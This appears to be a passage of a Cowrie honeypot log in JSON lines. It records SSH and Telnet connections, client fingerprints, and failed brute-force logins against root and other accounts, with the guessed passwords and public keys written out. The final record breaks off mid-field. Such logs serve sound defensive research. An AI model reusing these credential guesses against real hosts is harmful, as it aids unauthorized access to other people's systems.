{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:42.480340Z","src_ip":"205.254.166.156","session":"7914beb9cc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:43.695605Z","src_ip":"205.254.166.156","session":"7914beb9cc3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":41414,"dst_ip":"159.203.135.109","dst_port":22,"session":"350bd468b794","protocol":"ssh","message":"New connection: 163.245.222.56:41414 (159.203.135.109:22) [session: 350bd468b794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:49.775779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:49.789927Z","src_ip":"163.245.222.56","session":"350bd468b794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:49.795054Z","src_ip":"163.245.222.56","session":"350bd468b794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:49.820813Z","src_ip":"163.245.222.56","session":"350bd468b794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:50.829654Z","src_ip":"163.245.222.56","session":"350bd468b794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":43794,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba98fd5efa8","protocol":"telnet","message":"New connection: 167.71.238.254:43794 (10.17.0.5:23) [session: aba98fd5efa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:53:59.538536Z"}
{"eventid":"cowrie.session.closed","duration":16.35504698753357,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:15.893460Z","src_ip":"167.71.238.254","session":"aba98fd5efa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":58190,"dst_ip":"159.203.135.109","dst_port":22,"session":"58160d34698d","protocol":"ssh","message":"New connection: 2.27.36.16:58190 (159.203.135.109:22) [session: 58160d34698d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:25.734061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:25.738822Z","src_ip":"2.27.36.16","session":"58160d34698d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:25.839495Z","src_ip":"2.27.36.16","session":"58160d34698d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root!1","message":"login attempt [root/root!1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:26.275705Z","src_ip":"2.27.36.16","session":"58160d34698d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:27.379720Z","src_ip":"2.27.36.16","session":"58160d34698d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.223.69.87","src_port":40206,"dst_ip":"10.17.0.5","dst_port":22,"session":"06835c641d11","protocol":"ssh","message":"New connection: 91.223.69.87:40206 (10.17.0.5:22) [session: 06835c641d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:29.861596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:29.871094Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:29.992441Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:ee:25:7f:20:c5:28:93:da:39:a1:df:f7:ee:c1:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJUDKmsDGwQEcNKSeVYb4HCpK5T1AtufoBCOrqyWr6bq","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4c:ee:25:7f:20:c5:28:93:da:39:a1:df:f7:ee:c1:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:30.563263Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:ee:25:7f:20:c5:28:93:da:39:a1:df:f7:ee:c1:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJUDKmsDGwQEcNKSeVYb4HCpK5T1AtufoBCOrqyWr6bq","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:30.567319Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:9c:b4:d2:b8:3f:e6:6b:37:34:af:75:0b:1d:d0:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2ULZF/8MjEqBUQTqq1nuxvnwQs6LbfxMELnzSExt6sYauYY2PboA5RmCEdZ77xxOczn6opx8LjAEYqH4K45MpKk6+SWLv4HPMOugZjd7CXF/IybcDjBzRfJe8Yoe/3twaTusxkcMxsd2lrxUYc4MNJ1esfwVQsxK1ylvBcW6SHh0L8lFs4okkjcP8QPJaNvx6purUUjsfT4SCPmjhYm9qjgTUzAeIFFCWUtJ2L7EXZ9vKmujDSJB1ilACLDToXZJuPEg7owqijT7dqemUv2hILASN2BLuT6dyzDzQOil8WTbwxpLx4af3+aJJRau6PBNZeS2P0RQp2FUT1a2CllDii3M1xQloz1HWfcR15byciJjYqnSDEyw2gsFTa4XvgPhFYy2wItNhmTzIlPNEnCH1jXvJLrUtArsJhzUN/PvOOgSCHVZSofgz2Wz8K/ob7OhJLLrjaSCFlaD9slGv7BwaG/RHGMRA8X0GjZrIvsObEZO5XnlcSP1G+hRC6talu0s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:9c:b4:d2:b8:3f:e6:6b:37:34:af:75:0b:1d:d0:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:30.686534Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:9c:b4:d2:b8:3f:e6:6b:37:34:af:75:0b:1d:d0:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2ULZF/8MjEqBUQTqq1nuxvnwQs6LbfxMELnzSExt6sYauYY2PboA5RmCEdZ77xxOczn6opx8LjAEYqH4K45MpKk6+SWLv4HPMOugZjd7CXF/IybcDjBzRfJe8Yoe/3twaTusxkcMxsd2lrxUYc4MNJ1esfwVQsxK1ylvBcW6SHh0L8lFs4okkjcP8QPJaNvx6purUUjsfT4SCPmjhYm9qjgTUzAeIFFCWUtJ2L7EXZ9vKmujDSJB1ilACLDToXZJuPEg7owqijT7dqemUv2hILASN2BLuT6dyzDzQOil8WTbwxpLx4af3+aJJRau6PBNZeS2P0RQp2FUT1a2CllDii3M1xQloz1HWfcR15byciJjYqnSDEyw2gsFTa4XvgPhFYy2wItNhmTzIlPNEnCH1jXvJLrUtArsJhzUN/PvOOgSCHVZSofgz2Wz8K/ob7OhJLLrjaSCFlaD9slGv7BwaG/RHGMRA8X0GjZrIvsObEZO5XnlcSP1G+hRC6talu0s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:30.691089Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:98:8c:ab:3e:8a:6f:40:28:be:d7:aa:fe:3a:07:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkhPE+jJC/hxcCY7CEW6x2tqUBkBbXTBvaDvS0mWIV58kH9S1dvGOFQlyA5fjJnyk0uooZJoWKt9bH1magyh+Q16vOvEgawwpqfvEe3TVhbUBbAXQbAYlCF7jMadP3PktM9FkZab9vJquBRTj+wapMv32VTDs3dJOndY6LktggnhNVa8Mj5YFXxvCwTOfm9SeIKhSQQsdb+jX6SVt7fDR5DlxnESDTHJqg+g8uLt3sla9jXJLs6yKZaHhwvYLv94Rgjn3RHr6i+Q2KvGM1EcaYZNGrLzpKIDdwoRgRZg51QDQdGYWsGfKl6OEnbXeiM36zvBZ4riKGWzZkacoN0LkR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:98:8c:ab:3e:8a:6f:40:28:be:d7:aa:fe:3a:07:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:30.810466Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:98:8c:ab:3e:8a:6f:40:28:be:d7:aa:fe:3a:07:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkhPE+jJC/hxcCY7CEW6x2tqUBkBbXTBvaDvS0mWIV58kH9S1dvGOFQlyA5fjJnyk0uooZJoWKt9bH1magyh+Q16vOvEgawwpqfvEe3TVhbUBbAXQbAYlCF7jMadP3PktM9FkZab9vJquBRTj+wapMv32VTDs3dJOndY6LktggnhNVa8Mj5YFXxvCwTOfm9SeIKhSQQsdb+jX6SVt7fDR5DlxnESDTHJqg+g8uLt3sla9jXJLs6yKZaHhwvYLv94Rgjn3RHr6i+Q2KvGM1EcaYZNGrLzpKIDdwoRgRZg51QDQdGYWsGfKl6OEnbXeiM36zvBZ4riKGWzZkacoN0LkR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:30.813974Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:7c:aa:50:a2:c1:f7:3a:c5:a8:c7:b1:39:ec:a5:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUICEd1GS88kgZCZ9KdpHNygsnseDdR3b+uRS5kGZEcPuqd6d/rjU9T3IzfrONPacPwnPwFwj3W6S3Mi/lpKAy6hrLyxLhDzrf2lDiUQc/luFPF6Av/l9vLUQZ50Aga/xiB8dxyQBHTOlOgpPcfYk7/GDnBVnDlhxg3Rmjii1P2US73QGc42h3Fomt/XshCFnoRtJuO8bIAVy4VfaeAJajHkyj+a0Wv+21nPckoVR2FpRrTgzU3X3YWSJQtz727IGW4fQCWZ0G57RzHTcW5S9tBDpE6bTibWZDSjCW/3TmOK4T6REWgHK5yIOcyfwCilbpY+2bO0zKsBFkAMgm0y37","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:7c:aa:50:a2:c1:f7:3a:c5:a8:c7:b1:39:ec:a5:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:30.934869Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:7c:aa:50:a2:c1:f7:3a:c5:a8:c7:b1:39:ec:a5:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUICEd1GS88kgZCZ9KdpHNygsnseDdR3b+uRS5kGZEcPuqd6d/rjU9T3IzfrONPacPwnPwFwj3W6S3Mi/lpKAy6hrLyxLhDzrf2lDiUQc/luFPF6Av/l9vLUQZ50Aga/xiB8dxyQBHTOlOgpPcfYk7/GDnBVnDlhxg3Rmjii1P2US73QGc42h3Fomt/XshCFnoRtJuO8bIAVy4VfaeAJajHkyj+a0Wv+21nPckoVR2FpRrTgzU3X3YWSJQtz727IGW4fQCWZ0G57RzHTcW5S9tBDpE6bTibWZDSjCW/3TmOK4T6REWgHK5yIOcyfwCilbpY+2bO0zKsBFkAMgm0y37","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:30.938942Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:96:91:79:21:e7:25:31:35:11:fe:17:f1:55:19:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzvZSwYLQwu/3ggToj9b69Lm5jNxmla29PHzszHP/Eq0MdeaCFY06Xy/GafL3juMJJmYiUtb9EfnZhXtAeHgCVl42O53yXyElYzX/ywyuM2rZ5hR0bZutPLUv21cgWCX7qG9e/BKa+pbChChiz7/Ks2PFyJdLrxCaISF5jyBw/n+D7nfWuyH1gocOn0reK2MvtPYv5hLBoQ4zpxR8IybR/d5HM8V8wUUIuVTFPmAl3eDXfB8vxsCpXFaBLRIxjTq9IgSf7+AsRhnYs6dVVqGNeEmThJCdpFCpSLqasEAgGyIe/+Tbw92F2zcZy56EY2009xSEs3skm4wQUmKqPIHBb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:96:91:79:21:e7:25:31:35:11:fe:17:f1:55:19:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:31.058860Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:96:91:79:21:e7:25:31:35:11:fe:17:f1:55:19:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzvZSwYLQwu/3ggToj9b69Lm5jNxmla29PHzszHP/Eq0MdeaCFY06Xy/GafL3juMJJmYiUtb9EfnZhXtAeHgCVl42O53yXyElYzX/ywyuM2rZ5hR0bZutPLUv21cgWCX7qG9e/BKa+pbChChiz7/Ks2PFyJdLrxCaISF5jyBw/n+D7nfWuyH1gocOn0reK2MvtPYv5hLBoQ4zpxR8IybR/d5HM8V8wUUIuVTFPmAl3eDXfB8vxsCpXFaBLRIxjTq9IgSf7+AsRhnYs6dVVqGNeEmThJCdpFCpSLqasEAgGyIe/+Tbw92F2zcZy56EY2009xSEs3skm4wQUmKqPIHBb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:31.062632Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:31.182619Z","src_ip":"91.223.69.87","session":"06835c641d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":51268,"dst_ip":"159.203.135.109","dst_port":22,"session":"de5de32d8250","protocol":"ssh","message":"New connection: 41.181.156.205:51268 (159.203.135.109:22) [session: de5de32d8250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:57.346649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:57.351073Z","src_ip":"41.181.156.205","session":"de5de32d8250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:57.597665Z","src_ip":"41.181.156.205","session":"de5de32d8250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@2019","message":"login attempt [root/P@ssw0rd@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:58.615840Z","src_ip":"41.181.156.205","session":"de5de32d8250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:54:59.865358Z","src_ip":"41.181.156.205","session":"de5de32d8250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.187.169","src_port":48792,"dst_ip":"10.17.0.5","dst_port":22,"session":"03532f8a4661","protocol":"ssh","message":"New connection: 86.111.187.169:48792 (10.17.0.5:22) [session: 03532f8a4661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:30.445548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:30.451145Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha